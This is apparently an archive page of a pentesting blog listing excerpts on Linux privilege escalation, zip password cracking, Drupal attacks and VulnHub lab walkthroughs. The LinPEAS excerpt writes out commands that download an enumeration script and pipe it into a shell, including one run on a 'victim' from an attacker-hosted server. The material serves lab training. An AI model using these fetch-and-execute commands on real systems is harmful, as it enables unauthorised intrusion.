ATTACK – Page 4 – NetwerkLABS

Linux Privilege Escalation

Privilege escalation is all about: Collect - Enumeration, more enumeration and some more enumeration. Process - Sort through data, analyse and prioritisation. Search - Know what to search for and where to find the exploit code.…

Bharath Narayanasamy

Enumeration Cheat Sheets

LINUX 101

Linux File System PathDescription/The top-level directory is the root filesystem and contains all of the files required to boot the operating system before other filesystems are mounted as well as the files required to boot the…

Bharath Narayanasamy linux

PrivEsc

Linux Privilege Escalation

LinPEAS Latest Releases: Release Release refs/heads/master 20230425-bd7331ea · carlospolop/PEASS-ng · GitHub # From Github curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # Local network sudo python3 -m http.server 80 #Host curl 10.10.10.10/linpeas.sh | sh #Victim Privilege Escalation: SUID…

Bharath Narayanasamy linux, privesc

VulnLAB

How to crack zip password on KALI linux

Fcrackzip is a fast password cracker partly written in assembler. It is able to crack password protected zip files with brute force or dictionary based attacks, optionally testing with unzip its results. It can also crack…

Bharath Narayanasamy fcrackzip

VulnLAB Practical LABS

VulnHub OS-bytesec: Walkthrough

Enumeration Nmap scan C:\home\zybersec\vulnhub\OS-bytesec> nmap -sC -sV -p- -A -T5 172.16.1.107 -oN OS-bytesec.txt Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-30 11:46 CEST Nmap scan report for 172.16.1.107 Host is up (0.0010s latency). Not shown: 65531…

Bharath Narayanasamy vulnhub, OS-bytesec

VulnLAB Practical LABS

VulnHUB Prime-1: Walkthrough

Enumeration Nmap scan C:\home\zybersec> nmap -sC -sV -p- -A -T5 172.16.1.107 -oN prime1.txt Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-30 07:53 CEST Nmap scan report for 172.16.1.107 Host is up (0.0017s latency). Not shown: 65533…

Bharath Narayanasamy prime1, vulnhub

Enumeration WebPentest

CURL

Wordpress curl -s http://blog.inlanefreight.local | grep WordPress curl -s http://blog.inlanefreight.local/ | grep themes curl -s http://blog.inlanefreight.local/ | grep plugins curl -s http://blog.inlanefreight.local/?p=1 | grep plugins

Bharath Narayanasamy

Practical LABS VulnLAB

VulnHUB C0lddboxx-Easy: Walkthrough

Enumeration Nmap

Bharath Narayanasamy wordpress, C0lddboxEasy

PenTest WebPentest

Attacking Drupal

Leveraging Known Vulnerabilities Over the years, Drupal core has suffered from a few serious remote code execution vulnerabilities, each dubbed Drupalgeddon. At the time of writing, there are 3 Drupalgeddon vulnerabilities in existence. CVE-2014-3704, known as Drupalgeddon,…

Bharath Narayanasamy drupal

VulnLAB Practical LABS

Walkthrough – VulnHUB DC-1

Enumeration Nmap scan nmap -sC -sV -p- -A -T5 172.16.1.106 -oN dc01.txt Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-29 07:04 CEST Nmap scan report for 172.16.1.106 Host is up (0.0015s latency). Not shown: 65531 closed…

Bharath Narayanasamy drupal, walkthrough, dc-1, dirtyCOW